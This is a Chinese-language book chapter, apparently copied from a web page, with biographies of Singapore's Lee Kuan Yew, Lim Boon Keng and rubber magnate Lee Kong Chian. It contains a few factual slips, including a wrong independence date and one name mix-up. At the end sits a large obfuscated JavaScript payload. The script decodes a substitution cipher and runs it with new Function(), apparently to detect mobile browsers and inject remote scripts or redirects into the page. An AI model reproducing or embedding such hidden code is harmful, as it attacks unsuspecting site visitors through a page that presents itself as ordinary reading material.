第四章

星光璀璨

新加坡虽是弹丸小国,却也是名人辈出的地方。有开国元勋李光耀,有商业天才、企业巨子李光前、邱德拔、黄祖耀;有多才多艺、行医济世的林文庆、曾秋坤;亦有文化名人和乐坛天后蔡澜、孙燕姿这些“璀璨的星光”,各自为新加坡的政治、经济、医学和娱乐界等领域撑起一片天空。

国父李光耀

提及新加坡“国父”李光耀时,许多名人政要都对其高度评价。美国总统奥巴马称其为“20世纪、21世纪亚洲的传奇人物,是一位亚洲创造经济奇迹的人物”。这位被视为新加坡奠基人的传奇人物,连续执政31年,以时间轴的方式见证了新加坡由困境走向繁荣。

2000年,李光耀会见美国国防部长威廉科恩,坐在他右手边的是新加坡驻美国大使陈庆珠。

最年轻的总理

1923年,李光耀出生于新加坡一个客家人家庭。他的祖父虽是位地地道道的华人,却穿着考究,作风西化,就像一位典型的英国绅士。祖父从小便对李光耀施行英语教育,让英国人的文明、能力和高效的风格在孩童心中播撒下了种子。

1940年,18岁的李光耀考入当地顶尖的英校莱福士学院,但日本人对新加坡的占领迫使他中断学业,不得不从事多种职业求生。这段岁月使李光耀深知权力才能改变社会形态。

第二次世界大战结束后,李光耀赴英学习法律,回国后加入了一家律师事务所。当然,他的终极目标不是为老百姓打官司,而是通过这条途径组织群众,推翻殖民统治。通过一次次辩护与活动,李光耀逐渐声名大噪,在工会与学生中建立了群众基础,并于1954年与左派学生及工会领袖成立了人民行动党,自此步入政坛。

1958年,英国殖民当局核准新加坡自治方案,同意新加坡通过第二年的大选由半自治状态变为全自治。也就是在此时,李光耀充分显露出了他的出色政治头脑。他代表工人同英国殖民当局谈判,出谋划策,最终达成有利于工人的协议,建立了广泛的群众基础。竞选条件艰苦,新加坡人口复杂,种族多元,李光耀每晚都要进行3场到4场演说,在户外的溽热中来回奔走。

最终,人民行动党在大选中获胜,李光耀宣布就任新加坡第一届自治政府的内阁总理。当时的他年仅35岁,是世界上最年轻的总理。1965年,在他的领导下,新加坡宣布独立。

2010年,李光耀与当时的韩国总统李明博握手。

情感与现实的距离

美国“风云人物”节目的主持人曾在访谈中问过李光耀“最难做出的决策是什么”,李光耀的回答是处理有关根植于人民心底的文化和情感的问题,就像语言课题。对于李光耀而言,确定国家通用语,是一个需在情感与现实之间做选择的难题。

从情感上讲,李光耀是偏向于华语的。在他还是一名律师时,华文学校的学生领袖多表现出活力与朝气,而英语教育下长大的学生则多表现得冷漠而缺少自信。因此,无论是华人身份,还是对华语的喜爱,都让李光耀对华语有着更深的感情。但在指定语言政策时,李光耀态度明确:必须将英语作为国家通用语。

在情感与现实之间,作为一个国家的掌舵人,他的选择必须也只能站在现实一边。纵观新加坡当时的状况,虽然华人在新加坡人口中占有70的高比重,但同时也使用着马来语、泰米尔语等。而且,新加坡需依靠国际贸易,需使用能顺利开展贸易工作的通用语。

于是在1979年,李光耀政府确定了英文为主、华文为辅的双语教育比重。这一举措霎时被推上了风口浪尖,反对英语为国家通用语的声浪持久不息,尤其是华人家长们,他们不明白为什么在英国人的统治下儿女尚能接受全华语教育,在民选政府下却必须以学习英语为主。

然而,问题的症结是,“在这个多元种族、多元民族的社会里,英语是唯一能够让大家接受的中立语言,并能让新加坡立足于国际社会”。尽管不断有人曾提议将华语作为国语,但李光耀始终坚持以英语为通用语言。李光耀还反对把华人的方言如粤语、闽南语等列入学校教程,以免因华人说不同方言而把社会“撕裂”。

20世纪70年代以后,与中文相关的就业机会逐渐减少,因而越来越多的家长们把孩子送到英校就读,华校走向了衰落。为了缩小情感与现实之间的距离,李光耀在1978年精选出9所华文中学注入师资,这些学校历史悠久、基础良好,师资力量的注入极大地提高了它们的教学水平。后来,新加坡在为全国中学进行排名时,特选华校在十大中学中占了6所。

2002年,担任新加坡内阁资政的李光耀会见美国国防部长拉姆斯菲尔德。

李光耀病逝后,民众献花和手写卡片悼念这位将毕生奉献给新加坡的人物。

“新加坡有限公司”

如今的新加坡,是继纽约、伦敦、香港之后的第四大国际金融中心,也是亚洲重要的服务和航运中心之一。不到3分钟就有一艘船抵达或起航,奔赴全球20多个国家和地区的600多个港口;航班频繁起落,往来于这里和全球逾220个城市。然而时间回溯,50年前的新加坡全然不见现在的辉煌样貌。

1965年3月9日上午0点,李光耀通过广播电台宣布新加坡独立。当时的新加坡只是地图上的一个弹丸小岛,要在复杂的国际形势中生存并非易事。然而正如李光耀在独立宣言说的那般:“世界犹如大海,在大海中大鱼可以生存,小虾也可以生存。新加坡将以一条小虾,生存于国际大海之中。”多少有些悲壮的味道,但这也是新加坡不得不面对的现实。

为了谋求发展,李光耀带领新加坡开始了一系列发展工业及经济的举措,如重视制造业,成立裕廊工业区,为外国企业提供优惠,等等。效率、效果成本以及收益成为了李光耀和他的政府制定政策的标准。于是,人们将李光耀和他管理的国家戏称为“新加坡有限公司”,这一戏谑的称号正道出了新加坡商业立国的本质。执政后,李光耀和他的同僚运用权力保持国家的高效,让这个大海中的“小虾”紧紧依附于经济全球化的巨轮,在汪洋大海中成功借力每一轮东风。

在李光耀执政期间,新加坡政局稳定,政府清廉,文化多元发展,令亚洲乃至全世界都为之瞩目。

1990年,67岁的“国父”李光耀正式将总理一职交给了他的接班人吴作栋。但作为纵横政坛多年的风云人物,他对国家的影响力依然不减,直至2015年3月逝世。对于李光耀的政绩,有人歌功颂德,也有人称其为“独裁”,究竟他在历史中扮演了怎样的面孔,也只有留给后人去评说了。

传奇人物林文庆

他出生于新加坡华侨家庭,是新加坡家喻户晓的名医,又是勇于开拓的企业家;他能在立法会议上雄辩滔滔,也能将国学风韵娓娓道来;他是忠实的新加坡公民,又是赤诚的民族主义者,支持中国的维新变法。他一生的成就是多方面的,在新加坡历史和华人史上,他留下了难以磨灭的足迹。他就是传奇人物林文庆。

多重身份的传奇

“一千个人眼中有一千个哈姆雷特”,相同的人、事、物,在不同的人眼中会折射出不尽相同的光彩。正如人们对于林文庆的认识他是医生,又是实业家;是儒生,又是革命者

他获英女皇奖学金而入英国爱丁堡大学求学,是一位手到病除的名医,被尊称为“当代华佗”。

他是改革家,早在1898年便发起剪辫运动,反对吸食鸦片,提倡女子教育,积极改革南洋华侨社会习俗。

他是实业家,开辟了新加坡首家橡胶园,他开办药房、组织银行,创办了“华侨保险有限公司”。

他是革命家,曾营救康有为、协助孙中山营救革命盟友,还曾被孙中山任命为南京临时政府卫生部长、外交部顾问。

他是社会活动家,是海峡殖民地立法会中唯一的华裔议员,位高权重,也曾担任“海峡哲学研究会”的会长,成立了“华人好学会”社团,创办过海峡华人杂志。

他是教育家,创办了“英王爱德华医学院”与“新加坡女子学校”,在厦门大学任校长16年,为厦门大学赢得了“南方之强”的美誉。

厦门大学里面有一座林文庆雕像,旁边是文庆亭。

他是儒学家,筹建孔庙学堂,在厦门大学成立“国学院”,他能用英语讲解儒家思想,还将离骚译为英文,并发表多篇儒学研究著作。

他是语言天才,精通英语、马来语,知晓巫文与法、德、拉丁、希腊等多种语言,并熟谙闽、粤、潮州等方言。

林文庆一生多姿多彩,在不同领域都取得过卓著的成绩,不同的身份、不同的成就,让他的一生充满了传奇色彩。正如有人曾经说过的那样:“他精彩的米寿人生,活出了别人的几辈子。”

医术“特别”的一代名医

提到“香港脚”,很多人都知道这是一种足癣,是热带地区常见的一种脚病。1932年,当时还是厦门大学在校生的新加坡教育家邱新民染上了这种惹人讨厌的脚病,又痛又痒,被折磨得痛苦不堪。当邱新民来到校医院就诊时,医生给了他一瓶黄色的药水。擦了这种药水,他的脚很快就脱离了苦海。这种黄色的药水就是林文庆发明的。当时林文庆在厦门大学任校长,他发明的药水使许多人受惠。

不仅仅被“香港脚”患者熟知,在新加坡人的眼中,林文庆同样是一位妙手回春的神医。说起从医经历,还要从他的父亲说起。林文庆的父亲是鸦片种植园的助理管理人员,一次,父亲不小心被植物刈伤,竟然中毒不治身亡了。从此,林文庆立志研究医学,济世救人。

林文庆母校爱丁堡大学

1887年,学习成绩优秀的林文庆获得了英女皇奖学金,随后进入英国爱丁堡大学医学院深造。1892年获得医学内科学士和外科硕士学位。1893年,林文庆从英国返回新加坡。由于他医术高明,辨证施治,很快就成为著名的医生。不过在医学技术落后的时代,他的治疗方法显得很“特别”。这一年,时驻新加坡的中国总领事黄遵宪被诊断患上了“痨病”,看了许多医生都没有治好。黄遵宪心灰意冷,准备向清政府呈文辞职。就在这时,黄遵宪听说林文庆中外医术兼通,就抱着试试的心态请来了林文庆。林文庆虽对“痨病”没有特效药,可他一见黄遵宪由于长期卧床而营养匮乏、体力不支,又知道黄遵宪略懂中医里的“狗肉滋补肺气”,便向黄遵宪说食疗可以对付“痨病”,又说根据自己对犬类动物的研究,狗肉能对肺部起到食疗效果,因此他的处方是让黄遵宪多吃狗肉。

阿拉伯街是新加坡一条很古老的街,林文庆曾被日本人关在这里。

黄遵宪听了林文庆的话,像是找到希望,开始大量食用狗肉。黄遵宪本来就视狗肉为美味佳肴,再加上狗肉本身有进补作用。一段时间过后,黄遵宪的体力得到了补充,“痨病”的症状自然消失了。黄遵宪惊喜万分,亲自赠送了一块上书“功追元化”的匾额,赞他“上追二千年绝业,洞见症结,手到春回”,这件事一时被传为了佳话。

身陷非议的大学校长

1921年,厦门大学创建人陈嘉庚邀请林文庆到厦门大学担任校长,当时,52岁的林文庆已经是一位功成名就、受人敬仰的实业家了,但他义不容辞地放弃了在新加坡的行医和商业生涯,毅然前往厦门任职。现任厦门大学校长朱崇实代表校方发言称:“林文庆主持厦大校政16年,也是厦大奠基创业的16年,初步实现了厦大南方之强的办学目标,为厦大未来的发展奠定了坚实的基础。”

主持校务期间,林文庆大力提倡英语和国学。他曾亲自测试学生的英语口语,并把成绩通报全省,积极推动了当时福建省的外语教学。他还在厦门大学成立了国学研究院,并亲自兼任院长,不遗余力地倡导国学。1934年,厦门大学经费发生危机,林文庆只身南渡,多次往返于厦门和新加坡、马来西亚等地之间,募得了20万元经费,帮助大学渡过了难关。在厦门大学任职的前几年,林文庆不拿薪水,有时他给人看病,所得的诊金也都捐献给了学校。林文庆在厦门大学任职16年期间,在荒岛上建立起了一座规模宏大的高等学府。直到1937年,厦门大学改为国立,林文庆辞职回到了新加坡。这时的林文庆已是一位68岁的老人,几乎两袖清风。

比达达利坟场大门,林文庆就安葬在这里。

但这样一位含辛茹苦的校长为什么会遭受非议呢其中一个原因是1924年,林文庆发表了“尊孔”演说,演讲内容被很多学生视为思想迂腐守旧,不适合带领学校走进新时代,要求他下台。即使如此,林文庆依然在陈嘉庚的支持下筹组了国学院,并亲自担任院长。另外,1941年太平洋战争爆发后,新加坡沦陷,回到新加坡的林文庆迫于形势出任“华侨协会”会长,“受日本人差遣”。但后来有历史学家研究发现,林文庆之所以接受了这个耻辱的职务,一是形势所迫,同时也是为了借和日本人合作,保护华侨领袖,并协助接管养老院、孤儿院的工作。研究还显示,新加坡沦陷期间,林文庆始终不甘心受日本人差遣,经常借酒消愁,甚至几次寻死。他还经常用法语对别人说“谢谢”,因为法语“谢谢”的发音与闽南语的“不久就要死了”非常相似林文庆祖籍福建,精通闽南语,表现出一种厌世的情绪。1957年1月1日,林文庆在新加坡去世,终年88岁。

随着时间的推移,林文庆的贡献正在逐渐为人们所认识和肯定。

橡胶大王李光前

从清苦孩童到商业帝国的掌舵者,中间的距离有多远,没有人能说清道明。但李光前用自己一生的时间丈量了两者之间的距离。当年,他一文不名时踏进新加坡这片土地,最终打造起了一个拥有橡胶、黄梨等的庞大“王国”,并一跃成为金融骄子。

华侨中学内的李光前博士雕像

两遇贵人

1893年,李光前出生在福建省南安县梅山芙蓉乡,他的父亲李国专原是一名乡里的塾师,后因家境贫寒前往厦门经商,最后又带着李光前前往新加坡谋求生计。这一年是1903年,当时的李光前只有10岁,却不得不跟着父亲乘船出海。深秋时节,海风夹杂着冰凉的空气向这艘船袭来。船上很多人都是从福建背井离乡,要到南洋去谋生计的,个个衣衫单薄,在冷风中冻得直打哆嗦。

当时,著名的爱国华侨陈嘉庚也在船上,他看到大家被寒风折磨得痛苦不堪,就吩咐仓库保管员:“我姓陈,你通知乘客,每人可以领一条毯子,费用由我来出。”谁知,那位保管员没有明白陈嘉庚的意思,通知出来后竟然变成了“乘客中姓陈的,每人发一条毯子”。为了能得到毯子,绝大多数乘客都谎称自己姓陈。

没多久,陈嘉庚走进船舱,见一位少年只着单衣,蜷缩在角落里瑟瑟发抖,陈嘉庚连忙去问没领毛毯的原因。没想到少年竟说:“保管员通知说姓陈的人才能领毛毯,我姓李,不能冒姓去领。”少年这种诚实的举动给陈嘉庚留下了深刻的印象。这位少年就是10岁的李光前。这次见面后匆匆一别,但李光前与陈嘉庚的缘分并未就此结束。

李光前自然历史博物馆这座位于新加坡国立大学文化中心旁的展馆中有100多万件动植物标本,其中很多是稀有动植物标本。大楼外形奇特,仿佛岩石中露出的史前岩洞,洞口被植物覆盖着。

再次见面是1916年,那时,李光前已是一位23岁的青年,不仅精通中文、英文,还熟知当地的风俗习惯。

一天,李光前在街边大排档吃饭,天正下着雨,路上的行人都很匆忙。这时,陈嘉庚也冒着雨来买食物,谁知雨越下越大,拦住了陈嘉庚的去路。李光前认出了陈嘉庚就是当年慷慨帮助乘客的人,忙把自己的伞递过去。就这样,两人建立了联系。

第二天,李光前到陈嘉庚的公司去拿伞,恰好遇到一位美国商人前来洽谈生意,可公司职员没人能听懂他的话,都犯起了难。李光前当即上前为双方翻译,促成了这笔相当可观的交易。从此之后,李光前便来到了陈嘉庚的谦益公司工作。这一次意外的重逢成为了李光前商业生涯中的一个重要转折点。

当时正是第一次世界大战期间,国际上对橡胶的需求量激增,亚洲橡胶业迎来了前所未有的发展。李光前勤奋好学、眼光独到而敏锐,很快就掌握了橡胶的生产知识,并成功打通欧美市场,为公司带来了巨大的经济收益。在李光前的带领下,橡胶业务很快成了公司“强有力的支柱”,陈嘉庚的事业也由此进入了全盛时期。

陈嘉庚可谓李光前人生的贵人,正是由于他的赏识和支持,李光前在开创事业的道路上始终向前。当然,这也与李光前德才兼备、年轻有为有着密切的关系。后来,陈嘉庚更成为了李光前的岳父,为李光前日后开创自身事业铺平了道路。

从放牛娃到“橡胶大王”

尽管李光前从小家境贫寒,但父亲从未放弃过对他的教育。小时候,父亲就将李光前送入南安芙蓉老家的私塾读书,接受启蒙教育。为了能赚几毛钱生活费,李光前每天放学后都会去有钱人家放牛。后来随父亲到新加坡后,李光前又进入英印学校继续学习。

有人曾问过李光前成功的“秘籍”,李光前道:“成功的一半靠勤劳与健康,一半靠幸运就是机会。”显然,李光前的勤劳好学和善于把握机会使李光前走上了成功之路。

1927年,李光前想自己开创事业,从事橡胶加工贸易。就在这时,李光前获悉一位英国人欲廉价出售一处面积千余英亩的橡胶园。经过考察和市场调研,李光前发现这处橡胶园土地肥沃、胶树良好,三五年便可收回成本,便决定把这个橡胶园买下来。

新加坡管理大学李光前商学院

但李光前的岳父陈嘉庚并不像李光前本人一样看好这笔生意。陈嘉庚认为橡胶园位置偏僻,交通不便,且总有老虎出没,工人不敢去割胶,园子迟早要荒芜。但李光前并没有改变自己的决定,他还从英文报刊上获知,政府欲在橡胶园附近修公路。公路一通,交通问题便不再是难题,人流量增加后老虎自然绝迹,到时橡胶园的价格将会倍增。于是,李光耀四处筹集资金,最终以10万元新加坡币买下了这片橡胶园,并取名“芙蓉园”。

事实证明,李光前的眼光和决策非常正确。不久后,政府果然开始在橡胶园附近修建公路,园价也因此暴涨两到三倍。后来,李光前以40万新加坡币的高价将橡胶园抛售,不到一年净赚30万元,掘到了人生的第一桶金,大大充实了资金,并在麻坡创办了自己的第一家企业南益橡胶公司。

李光前还将东方传统道德理念与西方现代管理经验融入企业管理和运作,表现出了卓尔不群的开拓精神和创新风格。

公司开业第三年,正逢世界经济大萧条,但李光前凭借其在工商界建立的良好关系奋力支撑,始终在激荡的市场中屹立不倒。

1931年,各国经济出现了复苏迹象,李光前看准机会扩大资金,将公司改为南益橡胶有限公司,并出任董事长。他一面扩大经营渠道,发展对外贸易;一面紧握时机开展多种经营。几年时间,他的企业便扩展到泰国和印度尼西亚各地,成为了新加坡、马来西亚等地家喻户晓的“橡胶大王”。

商业帝国掌舵者

除了是知名的“橡胶大王”,人们眼中的李光前还是“黄梨大王”和“金融骄子”。

当南益橡胶公司在橡胶业日渐腾飞之际,李光前又进一步抓住机遇,扩大投资范围,这其中就包括种植黄梨和开办罐装加工厂。由于李光前经营得当,这些新开辟的领域在世界经济危机期中安然生存了下来。这之后,他的工厂加工的罐头销往世界各地,使他在“橡胶大王”的基础上又增添了“黄梨大王”的美称。

李光前人生的另一个重要转折是投资银行业。还在陈嘉庚的谦益公司时,李光前便开始涉足银行业,并逐渐显现其优秀的金融智慧,到1928年时,李光前已经是一位出色的银行家了。

世界经济危机时期,金融业岌岌可危,多家银行在金融海啸中风雨飘摇。李光前提议将华商银行、华侨银行、汇丰银行合并为“华侨银行”。在他和商业伙伴的努力下,华侨银行跃居新加坡华资银行之首,李光前后来还出任了该银行董事会的主席。凭着敏锐的眼光和多年的经验,李光前带领华侨银行走出经济危机阴影,使其成为了东南亚地区最重要的金融机构之一。现在,华侨银行已成为了新加坡银行业的龙头,李光前更是成为了海内外著名的华人金融家。

新加坡国家图书馆1844年,新加坡图书馆建立,这所公共图书馆几经搬迁改名,到1953年,李光前捐助了一笔钱建造图书馆大楼,并为大楼奠基。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();